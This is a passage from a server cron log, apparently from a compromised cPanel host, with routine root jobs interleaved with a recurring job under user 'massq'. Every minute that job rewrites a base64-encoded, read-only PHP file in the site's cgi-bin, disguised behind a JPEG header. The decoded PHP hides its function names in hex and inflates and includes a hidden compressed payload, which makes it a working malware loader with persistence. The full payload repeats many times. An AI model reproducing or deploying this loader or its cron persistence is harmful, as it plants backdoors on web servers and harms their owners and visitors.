FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:25:01 server CROND[30843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:25:01 server CROND[30844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:25:01 server CROND[30845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:26:01 server CROND[30968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:27:01 server CROND[31134]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 03:27:01 server CROND[31135]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Apr  8 03:27:01 server CROND[31136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:28:01 server CROND[31218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:29:01 server CROND[31291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:30:01 server CROND[31362]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 03:30:01 server CROND[31363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:30:01 server CROND[31364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:30:01 server CROND[31366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:31:01 server CROND[31663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:32:01 server CROND[31828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:33:01 server CROND[31891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:34:01 server CROND[31957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:35:01 server CROND[32028]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 03:35:01 server CROND[32030]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:35:01 server CROND[32031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:35:01 server CROND[32034]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 03:35:01 server CROND[32032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:36:01 server CROND[32191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:37:01 server CROND[32355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:38:01 server CROND[32422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHg